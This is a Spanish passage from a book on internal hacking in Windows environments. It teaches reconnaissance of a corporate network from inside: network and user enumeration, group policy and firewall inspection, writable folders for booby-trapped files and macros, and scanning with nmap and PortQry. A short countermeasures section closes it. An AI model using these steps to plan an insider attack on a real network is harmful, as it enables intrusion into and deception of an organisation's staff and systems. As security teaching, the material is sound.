Está en la página 1de 313

Internal Hacking

Contramedidas en entorno Windows

Qu acciones, para qu roles?


Debe, antes de empezar a buscar informacin, saber en qu consisten los roles existentes y qu permiten hacer en
el entorno dentro del cual trabaja.

Existe globalmente tres roles principales definidos: el de administrador local, que puede realizar cualquier cosa en
su ordenador, el de administrador de dominio, que puede realizar casi cualquier tarea sobre el conjunto de
ordenadores de la empresa y, por fin, el ms extendido, el de usuario, que se ha configurado para simplemente
utilizar el sistema que le han asignado, es decir, para solamente realizar su trabajo. Existen variantes de estos roles
que se crean con la ayuda de grupos de seguridad y de reglas de seguridad especficas muchas veces ligadas a un
rol profesional, como contable, comercial, tcnico en informtica, etc.

A decir verdad, esquivando la utilizacin clsica del sistema y del rol que el responsable informtico le ha atribuido,
puede ir mucho ms all de lo que cree.

1. Qu puede hacer un administrador local?

Por defecto, un administrador local puede hacer muchas cosas con su equipo, pero saba que con algunas
manipulaciones puede tomar el rol de System y por lo tanto consultar toda la informacin de la mquina, todos los
perfiles, todos los documentos sin dejar rastro o tambin abrir ficheros cifrados por Windows, como la SAM? Puede
tambin extraer las contraseas almacenadas en el equipo, ya sea de una aplicacin, del sistema, por ejemplo las
claves de las redes Wi-Fi guardadas, o de los usuarios locales. Puede modificar todos los parmetros de los
sistemas directa o indirectamente. Puede hacer pasar una aplicacin por otra de manera transparente. Puede
instalar lo que desea. Puede desbaratar las polticas de grupo ligadas a los equipos o las polticas ligadas a los
usuarios. Puede definir parmetros que sern utilizados por toda persona que use su equipo.

2. Qu puede hacer un administrador de dominio?

Una persona que est en el grupo de seguridad Administradores de la empresa o en el grupo Admins del dominio
puede hacer muchas cosas, pero saba que tambin puede, modificando algunos elementos, hacer lo que se ha
descrito anteriormente, pero en todos los equipos del dominio? Puede adems extraer las contraseas de un
controlador de dominio, aunque guarde todas estas informaciones con mismo para todos los usuarios. Puede
modificar las entradas DNS para enviar el trfico web y todo el trfico de la red donde l lo desee. Puede crear
certificados de confianza para la web o para firmar cdigo. Puede instalar y ejecutar remotamente aplicaciones
escondidas, instalar certificados raz sobre todos los equipos del dominio. Puede analizar y descifrar todo el trfico
web, https, Lync, Exchange... Puede abrir todos los buzones de Exchange. En general, puede descifrar todo lo que
se encuentra cifrado. Todas estas posibilidades no son dadas por defecto, ya que se necesita, para llegar a realizar
todo esto, saber cmo hacerlo y a veces rodear la utilizacin normal de algunos componentes del sistema.

3. Qu puede hacer un usuario?

Un usuario del dominio puede hacer ms cosas de lo que la mayora de los administradores piensan.

Puede, entre otras cosas, consultar las informaciones interesantes sobre todos los usuarios y ordenadores del
dominio, incluyendo la pertenencia a los grupos de seguridad; instalar programas, si estos se encuadran dentro de
su perfil ms que en Program Files; aadir programas que arrancan con la pantalla de inicio de su sesin; modificar
informaciones en el registro, como el arranque de un programa; reemplazar el explorador de Windows por otro;
aadir un protocolo ejecutable en el navegador o modificar la asociacin de una extensin para ejecutar el fichero
como si fuese otra extensin. Puede tambin instalar un certificado raz en el almacn de certificados de confianza,
que ser reconocido para la firma de aplicaciones y las pginas https. Tiene permiso para compilar cdigo, crear
paquetes de software y crear aplicaciones, simplemente teniendo permisos de escritura en la carpeta donde se
encuentran los ficheros temporales.

Qu informaciones son interesantes?


Cmo saber si una informacin es interesante? A decir verdad, todas lo son, pero con distintas prioridades. La
prioridad de una informacin est ligada a su futura utilizacin. Si desea conectarse a un servidor por el escritorio
remoto aun sin tener permisos, va a tener que buscar quin dispone de permisos suficientes para otorgrselos.
Dnde se encuentra el servidor? Cul es su direccin IP? Cul es su nombre de host? En qu red se encuentra?,
etc. Qu medidas de proteccin tiene configuradas? Estn configuradas las polticas de grupo o un cortafuegos?
Existen logs de seguridad? Cul es el objetivo? Acceder por escritorio remoto o esto es solo una etapa para
despus configurar alguna cosa? Existe otra posibilidad para realizar la configuracin o de obtener lo que
realmente buscamos?

Como se habr dado cuenta, es el juez nico de lo que es pertinente para usted. Piense en definir unvocamente el
objetivo; esto le guiar con ms facilidad sobre las informaciones que le faltan para su ataque.

1. Tipos de bsquedas

Es importante obtener informaciones antes de entrar en accin para aumentar sus esperanzas de xito. Se va a
confrontar, cuando realice la bsqueda, a dos tipos de bsquedas posibles: las bsquedas de informaciones pasivas
y las de activas.

La bsqueda pasiva consiste en leer informaciones que nos dan o que recibimos sin que exista ninguna conexin
con el servidor que podra grabar nuestra peticin de informacin. En el caso del hacking interno, esto podra
hacerse leyendo y anotando las informaciones de su propio puesto de trabajo, tales como la IP, el nombre del host,
la subred en la cual se encuentra, etc. Este tipo de bsqueda representa normalmente un riesgo casi nulo de ser
descubierto. Se le debe, por lo tanto, dar preferencia.

En cuanto a la bsqueda activa, consiste en interrogar un servidor para obtener una informacin, como sera el
caso con una peticin LDAP (Lightweight Directory Access Protocol) sobre un servidor de dominio o tambin utilizar
NMap para saber la versin de IIS (Internet Information Manager) instalado en el servidor web de la intranet. Con
este tipo de bsquedas, existe un peligro de ser registrado en un servidor, aunque muchas veces en el mbito del
hacking interno estos logs estn diluidos con las conexiones habituales de un cliente hacia su intranet o de un
equipo hacia el Active Directory.

Buscar una informacin a nivel local no significa que la bsqueda es pasiva. Por ejemplo, si consulta las reglas de su
software especializado que acta de cortafuegos y de antivirus, puede ser que este escriba en los logs, localmente o
en un servidor, el hecho de que ha abierto la consola de gestin.

En ciertos casos va a tener que preparar un ataque que solo perseguir la bsqueda de informaciones. Sepa que,
cuanto ms precisas y fiables sean las informaciones, ms aumenta la oportunidad de encontrar medios eficaces y
temibles para obtener lo que desea.

2. Qu se debe anotar?

Las informaciones que busca y descubre sobre su configuracin y sobre la configuracin del sistema de la empresa
deben ser anotadas con sumo cuidado.

Para ello, organcelas con la ayuda de un documento de Excel. Defina claramente lo que ha encontrado. Cada
informacin puede ser decisiva para el xito de su ataque. Le aconsejamos anotar por lo menos los siguientes
datos:
La subred del puesto cliente.
La subred de los servidores.
La direccin IP del puesto cliente.
Las IP y los nombres de los servidores importantes (AD, DNS, Terminal Server, Exchange, proxy, puerta de
enlace, servidor de ficheros, etc.).
Los usuarios miembros de los grupos de administradores de la empresa o del dominio, los miembros del
grupo Administradores.
Los usuarios miembros de los grupos Server Manager para Exchange o CSAdministrator para Lync.
El nivel de seguridad de Office y las rutas autorizadas.
Las reglas de entrada por defecto del cortafuegos.
Las informaciones sobre las personas que hay que atacar.
Las costumbres y preferencias de las personas que hay que atacar.

Esto solo representa una base mnima; toda informacin aadida, como las polticas de grupo, los permisos de
carpetas pblicas y locales, etc., puede ser decisiva para conseguir xito en un ataque.

Cmo encontrar las informaciones locales tiles?


La primera pista que hay que seguir para encontrar informaciones tiles es el puesto de trabajo. Es una fuente
fiable y muy completa de informaciones sobre la configuracin y las reglas aplicadas por los administradores. Su PC
(Personal Computer) es el reflejo de la seguridad global de la empresa.

Es posible que los resultados de las tcnicas de bsqueda de informacin descritas en las siguientes pginas sean
algo diferente dependiendo de sus permisos de acceso, el idioma o la versin del sistema que utiliza.

1. Configuraciones del sistema

Las informaciones locales son aquellas que conciernen el equipo con el cual trabaja o los servidores a los cuales
tiene permiso para conectarse provisionalmente como consultor o permanentemente para personas de soporte. En
la mayora de las empresas, los PC estn basados en un modelo de equipo realizado desde una imagen y la
seguridad est centralizada, lo que tiene como ventaja que, si encuentra una brecha o un sistema que funcione en
su casa, debera funcionar para todas las futuras vctimas en el seno de la empresa.

a. Informaciones de la red
Abra la consola de comandos ejecutando cmd.exe.
Escriba el siguiente comando:

ipconfig /all

La primera parte nos da informaciones sobre el dominio y el nombre del equipo.

C:\>ipconfig /all

Configuracin IP de Windows

Nombre de host. . . . . . . . . : cl1


Sufijo DNS principal . . . . . : ediciones-eni.local
Tipo de nodo. . . . . . . . . . : hbrido
Enrutamiento IP habilitado. . . : no
Proxy WINS habilitado . . . . . : no
Lista de bsqueda de sufijos DNS: ediciones-eni.local
localdomain

Despus, encontrar su direccin IP (en IPv4), la mscara de subred, la puerta de enlace, as como la direccin
fsica de su tarjeta de red. Anote asimismo los servidores DNS.

Adaptador de Ethernet Ethernet0:

Sufijo DNS especfico para la conexin. : localdomain


Descripcin . . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network
Direccin fsica. . . . . . . . . . . . : 00-0C-29-78-9E-AE
DHCP habilitado . . . . . . . . . . . . : s
Configuracin automtica habilitada . . : s
Vnculo: direccin IPv6 local . . . . . : fe80::cc09:503d:c1ef:a4b2%3(Preferido)
Direccin IPv4. . . . . . . . . . . . . : 192.168.33.129(Preferido)
Mscara de subred . . . . . . . . . . . : 255.255.255.0
Concesin obtenida. . . . . . . . . . . : viernes, 18 de julio de 2014 19:59:25
La concesin expira . . . . . . . . . . : viernes, 18 de julio de 2014 20:29:25
Puerta de enlace predeterminada . . . . : 192.168.33.2
Servidor DHCP . . . . . . . . . . . . . : 192.168.33.254
IAID DHCPv6 . . . . . . . . . . . . . . : 50334761
DUID de cliente DHCPv6. . . . . . . . . : 00-01-00-01-1B-5B-0F-C5-00-0C-29-78-9E-AE
Servidores DNS. . . . . . . . . . . . . : 192.168.33.10
Servidor WINS principal . . . . . . . . : 192.168.33.2
NetBIOS sobre TCP/IP. . . . . . . . . . : habilitado

b. Variables de entorno

Es posible encontrar las informaciones sobre las variables de entorno gracias al comando set.

set nos da las variables de entorno, como nuestra ruta de perfil, APPDATA, as como la ruta del directorio
temporal, TEMP. Tambin encontramos la ruta de la carpeta PUBLIC donde todos los usuarios tienen permiso de
lectura y escritura, informaciones pertinentes ya que tenemos all permiso de escritura. Tenemos tambin el
servidor al que estamos conectados, LOGONSERVER.

C:\>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\usuario_prueba\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=CL1
ComSpec=C:\Windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Users\usuario_prueba
LOCALAPPDATA=C:\Users\usuario_prueba\AppData\Local
LOGONSERVER=\\DC1
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 60 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=3c03
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\USUARI~2\AppData\Local\Temp
TMP=C:\Users\USUARI~2\AppData\Local\Temp
USERDNSDOMAIN=EDICIONES-ENI.LOCAL
USERDOMAIN=EDICIONES-ENI
USERDOMAIN_ROAMINGPROFILE=EDICIONES-ENI
USERNAME=usuario_prueba
USERPROFILE=C:\Users\usuario_prueba
windir=C:\Windows

c. Usuarios y grupos

Para obtener las informaciones sobre un usuario, como su pertenencia a los grupos de seguridad y la validez de su
cuenta, abra una consola de comandos y escriba:
C:\>Net user %username% /domain
Se procesar la solicitud en un controlador de dominio del dominio
ediciones-eni.local.

Nombre de usuario usuario_prueba


Nombre completo Usuario Prueba
Comentario
Comentario del usuario
Cdigo de pas o regin 000 (Predeterminado por el equipo)
Cuenta activa S
La cuenta expira Nunca

Ultimo cambio de contrasea 18/07/2014 19:08:34


La contrasea expira Nunca
Cambio de contrasea 19/07/2014 19:08:34
Contrasea requerida S

El usuario puede cambiar la contrasea No


Estaciones de trabajo autorizadas Todas
Script de inicio de sesin
Perfil de usuario
Directorio principal
Ultima sesin iniciada 18/07/2014 20:04:42

Horas de inicio de sesin autorizadas Todas

Miembros del grupo local


Miembros del grupo global *Domain Users
Se ha completado el comando correctamente.

Para un usuario local es lo mismo, pero sin /domain.

Net user %username%

Para conocer los usuarios y los grupos que tienen permisos de administracin sobre el equipo local:

C:\>net localgroup administrators


Nombre de alias administrators
Comentario Administrators have complete and unrestricted
access to the computer/domain
Miembros

----------------------------------------------------------------
Administrator
EDICIONES-ENI\Domain Admins
usuario_local
Se ha completado el comando correctamente.

Esta informacin le permite conocer mejor el entorno de usuario en el cual evoluciona y la configuracin del
sistema.

2. Las polticas de grupo

Las polticas de grupo son reglas de seguridad configuradas por el administrador de sistema. Esto se traduce en
muchas ocasiones en bloqueos al abrir un programa o una consola de configuracin, o tambin en parmetros
imposibles de cambiar. Cuando se aplican estas directivas, el administrador puede elegir aplicarlas sobre el conjunto
de usuarios de un equipo o a un usuario especfico independientemente del equipo que utilice. Se trata, por lo
tanto, de polticas de grupo ligadas al equipo o ligadas al usuario.

a. Con la consola de gestin

En la medida en que tiene permiso para abrir la consola MMC (Microsoft Management Console), ejecutemmc.exe y
haga clic, en el men Archivo, en Agregar o quitar complementos. En la ventana que se abre,
seleccione Conjunto resultante de directivas.
Una vez aadido el componente, dirjase al men Accin y haga clic en Generar Datos RSoP...

El asistente le guiar por la recopilacin de datos. Elija el Modo de registro, con Este equipo y elUsuario actual.

Dispondr as de la posibilidad de recorrer la configuracin creada por su administrador.

b. Con la lnea de comandos

Si el acceso a mmc.exe est bloqueado, puede utilizar la lnea de comandos para buscar lo que haya sido
configurado por su administrador.

Para ello, ejecute cmd.exe, y despus GpResult:

Gpresult /z

Obtendr as el nombre de la directiva y la configuracin de cada parmetro que modifica el sistema.

GPO: Default Domain Policy


Policy: PasswordComplexity
Computer Setting: Enabled
GPO: Default Domain Policy
Policy: ClearTextPassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: ForceLogoffWhenHourExpire
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: RequireLogonToChangePassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: LSAAnonymousNameLookup
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: TicketValidateClient
Computer Setting: Enabled

Si no es un fantico de la lnea de comandos para leer el resultado, enve la salida hacia un fichero html.

GpResult /z /h c:\temp\informe.html

El resultado ser entonces una pgina web ms fcil de leer.

c. Con el editor del registro

El sistema escribe claves de registro para configurar los parmetros del equipo y los del usuario. Estas claves se
guardan en cuatro sitios especficos.

En el caso de los parmetros configurados para las polticas de grupo ligadas al usuario, las claves son:

CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
CURRENT_USER\Software\Policies

En el caso de los parmetros configurados para las polticas de grupo ligadas al equipo:

LOCAL_MACHINE\SOFTWARE\Policies
LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies

Para ver lo que aplica, abra el editor del registro, regedit.exe, y localice las subclaves de las rutas especificadas
ms arriba.

En el ejemplo siguiente, vemos que el gestor de tareas est bloqueado por una poltica de grupo aplicada al
usuario.
En este caso, no sabemos cul es el nombre de la poltica que ha pedido la escritura de este parmetro en el registro.

3. El cortafuegos

a. Con el panel de configuracin

Para obtener informaciones sobre las reglas aplicadas del cortafuegos en un equipo, abra el Panel de control -
Sistema y seguridad - Firewall de Windows. Despus, a la izquierda, haga clic enConfiguracin avanzada.

La consola central le indica si el cortafuegos est activado y para qu tipo de conexiones.

En el men de la izquierda, tiene acceso a las reglas autorizadas o bloqueadas para la entrada y la salida.

En las propiedades del cortafuegos, encontrar el comportamiento por defecto de este:


En general, el cortafuegos est gestionado por el administrador del sistema. No siempre es posible abrir el panel de
control para ver las propiedades.

b. Con la lnea de comandos

Puede acceder asimismo a numerosas informaciones sobre el cortafuegos con el comando NETSH.

Abra una ventana de smbolo de sistema y escriba:

Netsh
netsh>adv
netsh advfirewall>show

Tiene la posibilidad de ver las configuraciones de los elementos siguientes:

show allprofiles - Muestra las propiedades de todos los perfiles.


show currentprofile - Muestra las propiedades del perfil activo.
show domainprofile - Muestra las propiedades del dominio.
show global - Muestra las propiedades globales.
show privateprofile - Muestra las propiedades del perfil privado.
show publicprofile - Muestra las propiedades del perfil pblico.

Dependiendo del sistema operativo, PowerShell permite igualmente recoger informaciones sobre la configuracin
del cortafuegos.

Abra PowerShell y escriba los comandos siguientes para conocer todos los comandos de gestin del cortafuegos:

Import-Module netsecurityNetSecurity
gcm *firewall*

Para ver las reglas aplicadas, utilice Get-NetFirewallRule, pero enve el resultado a un fichero de texto; si no
resultar ilegible.

Get-NetFirewallRule > c:\temp\rules.txt

Para obtener informaciones sobre los perfiles configurados:

PS C:\> Get-NetFirewallProfile

Name : Domain
Enabled : True
DefaultInboundAction : Allow
DefaultOutboundAction : Allow
AllowInboundRules : NotConfigured
AllowLocalFirewallRules : NotConfigured
AllowLocalIPsecRules : NotConfigured
AllowUserApps : NotConfigured
AllowUserPorts : NotConfigured
AllowUnicastResponseToMulticast : NotConfigured
NotifyOnListen : True
EnableStealthModeForIPsec : NotConfigured
LogFileName : %systemroot
\system32\LogFiles\Firewall\pfirewall.log
LogMaxSizeKilobytes : 4096
LogAllowed : False
LogBlocked : False
LogIgnored : NotConfigured
DisabledInterfaceAliases : {NotConfigured}
4. Las carpetas y los ficheros

En una empresa, los documentos son almacenados generalmente en una carpeta compartida en un servidor de
ficheros. Es importante para nosotros saber si los documentos de Office pueden utilizarse como herramientas. Es
importante conocer las rutas de las carpetas donde el usuario tiene permisos de lectura, escritura o tambin de
ejecucin de aplicaciones.

a. Carpetas pblicas

Las carpetas pblicas son subcarpetas de la carpeta raz en la variable de entorno PUBLIC que ha podido ver
anteriormente utilizando SET en la lnea de comandos.

Puede verificar en estas carpetas quin tiene permiso de lectura, de escritura y de ejecucin de una aplicacin.

Para ello, haga clic con el botn derecho del ratn en la carpeta, men Propiedades, despus en la
pestaa Seguridad y haga clic en el botn Opciones avanzadas.

El grupo especial Creator Owner (Creador propietario) est presente, con el permiso Control total. Esto quiere
decir que, en el momento en el que un usuario cree un fichero o una carpeta en este emplazamiento, tendr el
control total, es decir, lectura, escritura, ejecucin y modificacin de los permisos de seguridad.

Si desea afectar a todos los usuarios de un equipo creando un fichero en esta carpeta, acurdese de modificar los
permisos para que todos tengan acceso.

Puede tambin modificar los permisos de una carpeta o de un fichero en la lnea de comandos con cacls. Esto le
permitir realizar un script con las modificaciones en una aplicacin o un documento trampa.

Para crear una carpeta Test, abra una ventana de smbolo de sistema y escriba:

Mkdir c:\user\public\test

Despus, para dar permisos de lectura y ejecucin a todos los usuarios sobre la carpeta, utilice:
cacls "c:\users\public\test" /e /t /c /g "Usuarios":r

Si el sistema es multiidioma y tiene como base el ingls, reemplace Usuarios por User:

cacls "c:\users\public\test" /e /t /c /g Users:r

b. Carpeta temporal

La carpeta temporal se puede encontrar en el valor de la variable de entorno TEMP o TMP usando el comando SET.
Esta carpeta es usada por aplicaciones como Internet Explorer, Outlook y muchas otras. Cuando un usuario abre un
fichero zip desde Outlook, los ficheros se descomprimen en una subcarpeta del directorio temporal. Resulta
interesante comprobar si esta carpeta permite ejecutar una aplicacin. Para ello, podemos verificar los permisos de
la misma manera que acabamos de hacer.

Dirjase a la carpeta que corresponda a su usuario y haga clic con el botn derecho del ratn en el directorio
temporal, elija la opcin Propiedades y haga clic en la pestaa Seguridad.
Normalmente, tiene permiso para ejecutar un programa.

Si se quiere asegurar, abra la lnea de comandos para ejecutar el comando siguiente que copia el ejecutable CMD en
la carpeta temporal:

xcopy %systemroot%\system32\cmd.exe %temp%\test\

Acceda a la carpeta temporal que se encuentra por norma general en: C:\Users\SuNombre\AppData\Temp\test

Despus, ejecute el programa cmd.exe. Si se abre es buen signo, ya que podr enviar aplicaciones trampa a sus
objetivos.

c. Documentos de Office

Un documento de Office puede servir para atacar a un usuario gracias a las macros. Estas pueden ser herramientas
potentes. Para saber en qu medida se pueden usar, vamos a averiguar el nivel de seguridad definido por una
eventual directiva de grupo, as como las carpetas donde las macros tienen permisos de ejecucin sin estar
firmadas.

Para ello, debe hacer aparecer la pestaa Programador en su programa de Office.

Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaa Personalizar cinta de opciones, marque
en la columna de la derecha el men Desarrollador y despus Aceptar.
Haga clic a continuacin en la nueva pestaa, Desarrollador, y en el grupo Cdigo en Seguridad de macros.

En la misma ventana, en Ubicaciones de confianza, encontrar las carpetas donde los ficheros de Office pueden
ejecutar las macros sin limitaciones.

En el men Documentos de confianza, ver si los documentos en red pueden ser de confianza o no.
Todas estas informaciones sern tiles cuando realice un futuro ataque.

Las informaciones remotas


Las informaciones remotas tienen relacin con los servidores, las aplicaciones y los recursos a los cuales no es
posible conectarse localmente o que estn centralizados, como por ejemplo los usuarios de un dominio, un servidor
de bases de datos, un controlador de dominio. Estas informaciones son muy importantes, ya que nos permitirn
elegir nuestro plan de accin dependiendo de las posibilidades y las informaciones que poseamos. Ser ms sencillo
apuntar a una persona o un equipo en particular una vez sepamos de qu estamos hablando.

1. Configuracin de sistema

a. Carpetas compartidas

Muchas veces, las carpetas compartidas se representan con letras de unidad, siempre que esas unidades estn
accesibles a todo el mundo. Es indispensable conocer las rutas de las carpetas compartidas donde todo el mundo
tiene permiso de lectura, de ejecucin y eventualmente de escritura, para poder dejar all un programa, un fichero
o un documento trampa, un archivo en lotes o, por qu no, extraer datos.

No siempre resulta evidente saber qu permisos posee una persona en una carpeta compartida. Pueden existir
muchos grupos de seguridad configurados en un dominio. Muchos de estos grupos pueden tener permisos
diferentes.

As que, para saber si un usuario dispone de acceso a una carpeta, vaya a la pestaa Seguridad de las propiedades
de la carpeta, y despus haga clic en Opciones avanzadas. Vaya seguidamente a la pestaa Acceso efectivo.
Elija un usuario para realizar una prueba y haga clic en Ver acceso efectivo.
Dispondr de esta manera de la lista de permisos reales que una persona particular posee en una carpeta pblica.
As podr elegir mejor un sitio donde la mayora tenga permisos suficientes para que se les pueda engaar.

b. Usuario y grupos

En la configuracin local, puede encontrar un usuario perteneciente al dominio que se encuentre en el grupo de
administradores en su PC o tal vez disponga ya de un usuario en particular como objetivo. Para conseguir ms
informaciones de este usuario, como la pertenencia a los grupos de seguridad, si su contrasea expira y muchos
otros datos, escriba en la lnea de comandos:

Net user NombreUsuario /domain

Si ha localizado un grupo de seguridad del dominio y desea saber cules son sus miembros, escriba para el grupo
Administradores del dominio:

Net localgroup Administradores /domain

Si se ha configurado el dominio de Active Directory en un servidor en ingls, como sucede en muchas ocasiones,
reemplace Administradores por Administrators.
Es posible que la lnea de comandos est bloqueada por el administrador del dominio. En este caso, puede probar a
realizar un script con un editor de texto y guardarlo como .BAT. En algunos casos, solo la apertura de CMD se
encuentra bloqueada, pero no la ejecucin de scripts.

Si la ejecucin de scripts se encuentra tambin bloqueada, puede descargar y usar una herramienta gratuita de
Microsoft, ADExplorer, que permite recorrer los objetos del catlogo de Active Directory. Este programa no
necesita instalacin ni permisos de administrador para ser usado.

Lo encontrar en: http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx

Para el campo Connect to, use la informacin LOGONSERVER que habr encontrado gracias al
comando SET ejecutado en el momento de buscar informacin en el equipo local. El nombre de usuario y la
contrasea son informaciones normales del dominio. No necesita ser administrador para recorrer la mayora de los
objetos de Active Directory.

Por ejemplo, para saber qu usuario se encuentra en el grupo de Administradores de la empresa, vaya a las
propiedades del grupo y mire el atributo member:
Anote los miembros de todos los grupos importantes, como los grupos de administradores o tambin los de
soporte.

2. Configuracin de red

La configuracin de la red de la empresa puede ser compleja. Se trata, en nuestro caso, de sonsacar solamente lo
que nos interesa; no necesitamos por ejemplo saber cuntos switch estn instalados para atacar un servidor. Por el
contrario, su IP, su nombre de mquina y los servicios que se encuentran instalados podran sernos de mucha
utilidad.

a. Bsqueda del nombre del servidor que hospeda un servicio

Nos encontramos dentro de la empresa con una cuenta de usuario, una direccin de correo electrnico y, por qu
no, una cuenta Lync. Las informaciones de los servidores DNS se encontraron en la configuracin IP local. El
nombre del servidor del Active Directory fue encontrado en la configuracin local con el comando SET.

Para encontrar el servidor Exchange, basta con mirar los parmetros de nuestra cuenta en Outlook. Para ello,
dirjase al men Herramientas - Configuracin de la cuenta... y haga clic dos veces en su cuenta de correo
electrnico. Podr encontrar el nombre del servidor en el primer campo. Para encontrar la configuracin del servidor
Lync, haga clic con el botn derecho en el icono de la barra de tareas de Windows pulsando simultneamente [Ctrl].
Existen muchos atributos donde encontrar los nombres de servidores Front-end, Edge, etc.

Si no dispone de una cuenta de correo o de Lync, puede encontrar el nombre de estos servidores si posee la
direccin de un servidor DNS interno.

Para encontrar el resto de IP de los servidores sabiendo la IP del servidor DNS, abra una ventana de comandos y
escriba NSlookup.
Configure NSlookup para utilizar el servidor DNS conocido y que este responda a sus peticiones.

Server 10.0.0.100

Busque los registros de tipo SRV (Services):

Set Type=SRV

Para encontrar el nombre de los servidores LDAP (Active Directory):

_ldap._tcp.domain.local

Para encontrar el nombre de los servidores del catlogo global:

_gc_tcp.domain.local

Para encontrar el nombre de los servidores Lync:

_sipinternaltls._tcp.domain.local

Para encontrar el nombre de los servidores Exchange:

_autodiscover._tcp.domain.local

O, dependiendo de la configuracin:

Autodiscover.domain.local

Debe anotar estas informaciones con las que ya ha conseguido.

b. Bsqueda de servicios con PortQry de Microsoft

Microsoft dispone de una herramienta para escanear los puertos abiertos en un equipo. Pero esta herramienta
permite ir ms all de lo que permite un simple analizador de puertos: se conecta a los servicios para encontrar
ms detalles de este.

Lo encontrar en el siguiente enlace: http://www.microsoft.com/en-us/download/details.aspx?id=24009

Se puede utilizar en una ventana de comandos, como en el siguiente ejemplo, donde se realiza un anlisis de un
servidor SQL:

portqry - n 10.0.0.200 -e - p 1434 udp


Querying target system called:

10.0.0.200
querying...

UDP port 1434 (ms-sql-m service): LISTENING or FILTERED

Sending SQL Server query to UDP port 1434...

Servers response:

ServerName SQL-Server1
InstanceName MSSQLSERVER
IsClustered No
Version 8.00.194
tcp 1433
np \\SQL-Server1\pipe\sql\query

==== End of SQL Server query response ====


UDP port 1434 is LISTENING

El puerto est abierto y el servicio nos devuelve el nombre de la instancia arrancada.

Para simplificar el uso de esta herramienta, Microsoft ha aadido una interfaz grfica. Vemos seguidamente cmo
usarla para el anlisis de un controlador de dominio:
Este programa es prctico para analizar servidores como los controladores de dominio, los servidores Exchange, los
servidores SQL o los servidores web.

c. Bsqueda de servicios con Nmap

Para saber qu otros servicios ejecuta un servidor o un PC, adems de los que ya se hayan encontrado, vamos a
utilizar un escaner en lnea de comandos que se instala fcilmente en un equipo Windows.Nmap es conocida como
una de las herramientas favoritas de los piratas para analizar una red y ms concretamente un equipo. Permite el
escaneo de toda la red, as como la obtencin de huellas (fingerprint), lo que significa que nos dir si un puerto est
abierto o no, pero tambin, en algunos casos, el servicio correspondiente al puerto y su versin.

Puede descargarlo aqu: http://nmap.org/download.html

El programa se utiliza principalmente con la lnea de comandos, pero existe tambin una interfaz grfica que se
instala directamente con el paquete de instalacin para Windows.
Para escanear una red completa buscando equipos encendidos y guardar el resultado en un fichero:

C:\>nmap -sP 192.168.1.0/24 -oN c:\temp\log.txt

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 20:59 de verano


romance
Nmap scan report for 192.168.1.1
Host is up (0.00s latency).
MAC Address: E0:A1:D7:D2:CF:AC
Nmap scan report for 192.168.1.36
Host is up.
Nmap scan report for 192.168.1.46
Host is up (0.016s latency).
MAC Address: 00:19:99:34:B6:6D (Fujitsu Technology Solutions)
Nmap scan report for 192.168.1.79
Host is up (0.093s latency).
MAC Address: 18:20:32:D1:AE:7C (Apple)
Nmap scan report for C610-IP (192.168.1.94)
Host is up (0.00s latency).

Para analizar un equipo en particular:

C:\>nmap -Pn -A -sT 192.168.1.150

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 21:14 de verano


romance
Nmap scan report for 192.168.1.150
Host is up (0.000075s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.0
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Microsoft Internet Information Services 8
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open netbios-ssn
2179/tcp open vmrdp?
3389/tcp open ms-wbt-server Microsoft Terminal Service
49154/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 6C:62:6D:00:67:33 (Micro-Star INTL CO.)
Warning: OSScan results may be unreliable because we could not find
at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 7|Phone|Vista|2008 (95%)

En su versin grfica, este programa resulta an ms fcil de utilizar y le permitir no tener que conocer los
parmetros de Nmap de memoria:

El programa nos da informaciones interesantes sobre el equipo objetivo. Dispone ahora de todas las cartas en su
mano para empezar un plan de ataque. Solo le queda estudiar todos los ataques realizables sobre los sistemas
analizados.
Contramedidas
Para evitar que un usuario pueda buscar informacin, debe bloquear las aplicaciones mencionadas en este captulo,
como CMD, PowerShell, GPresult, Regedit, MMC, ADexplorer... usando las polticas de grupo o restricciones de
software. Puede asimismo bloquear el uso de ciertos componentes del Panel de control con el fin de impedir al
usuario ver la configuracin del cortafuegos de Windows; esto se realiza tambin con las polticas de grupo.

Las contramedidas estn explicadas detalladamente en el captulo Las contramedidas tcnicas, y los procedimientos
que se deben poner en marcha se explican en el captulo La gestin de los sistemas de informacin.

Utilizar un medio de instalacin de Windows oficial o una imagen


de arranque PXE
